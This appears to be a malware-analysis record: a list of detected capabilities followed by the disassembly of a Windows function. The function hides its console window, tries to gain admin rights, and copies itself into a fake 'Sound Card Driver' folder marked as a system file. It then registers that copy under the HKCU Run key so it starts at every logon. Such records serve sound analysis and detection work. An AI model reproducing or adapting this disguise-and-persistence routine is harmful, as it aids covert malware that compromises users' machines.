Function at 0x401bad
Capabilities:
Copy file
Create directory
Get common file path
Get program files directory
Hide graphical window
Persist via run registry key
Set console window title
Set file attributes
Set registry value

Disassembly:
push rbp
push rdi
sub rsp, 0x5a8
lea rbp, [rsp + 0x80]
call sym.__main
lea rax, [rbp + 0x410]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rax, [rbp + 0x300]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8d, 0
mov edx, 0x26
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
call rax
lea rax, [rbp + 0x300]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0x300]
add rax, rdx
movabs rdi, 0x4320646e756f535c
mov qword [rax], rdi
movabs rdi, 0x7669724420647261
mov qword [rax + 8], rdi
movabs rdi, 0x646e756f535c7265
mov qword [rax + 0x10], rdi
movabs rdi, 0x7244206472614320
mov qword [rax + 0x18], rdi
movabs rdi, 0x6578652e72657669
mov qword [rax + 0x20], rdi
mov byte [rax + 0x28], 0
lea rdx, [rbp + 0x300]
lea rax, [rbp + 0x410]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__stricmp]
call rax
test eax, eax
jne 0x401cf0
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rcx, [0x0040519b]
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
call rax
call sym.csgo_cool
jmp 0x401fce
call sym.is_admin
test eax, eax
jne 0x401e71
call sym.run_as_admin
call sym.is_admin
test eax, eax
jne 0x401fd5
mov edx, 0
lea rcx, str.C:Program_FilesSound_Card_Driver
mov rax, qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call rax
lea rdx, [rbp + 0x300]
lea rax, [rbp + 0x410]
mov r8d, 1
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
lea rax, [rbp + 0x300]
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rax, [rbp - 0x30]
mov word [rax], 0x22
lea rdx, [rbp + 0x300]
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.strcat
lea rax, [rbp - 0x30]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp - 0x30]
add rax, rdx
mov word [rax], 0x22
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0xe8]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call rax
test eax, eax
jne 0x401e67
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.strlen
add eax, 1
mov rcx, qword [rbp + 0xe8]
mov dword [rsp + 0x28], eax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 1
mov r8d, 0
lea rdx, str.Sound_Card_Driver
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov rax, qword [rbp + 0xe8]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
call sym.caimima2
jmp 0x401fce
mov edx, 0
lea rcx, str.C:Program_FilesSound_Card_Driver
mov rax, qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call rax
lea rdx, [rbp + 0x300]
lea rax, [rbp + 0x410]
mov r8d, 1
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
lea rax, [rbp + 0x300]
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rax, [rbp - 0x30]
mov word [rax], 0x22
lea rdx, [rbp + 0x300]
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.strcat
lea rax, [rbp - 0x30]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp - 0x30]
add rax, rdx
mov word [rax], 0x22
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0xe0]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call rax
test eax, eax
jne 0x401fc9
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.strlen
add eax, 1
mov rcx, qword [rbp + 0xe0]
mov dword [rsp + 0x28], eax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 1
mov r8d, 0
lea rdx, str.Sound_Card_Driver
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov rax, qword [rbp + 0xe0]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
call sym.caimima
mov eax, 0
jmp 0x401fd7
nop
nop
add rsp, 0x5a8
pop rdi
pop rbp
ret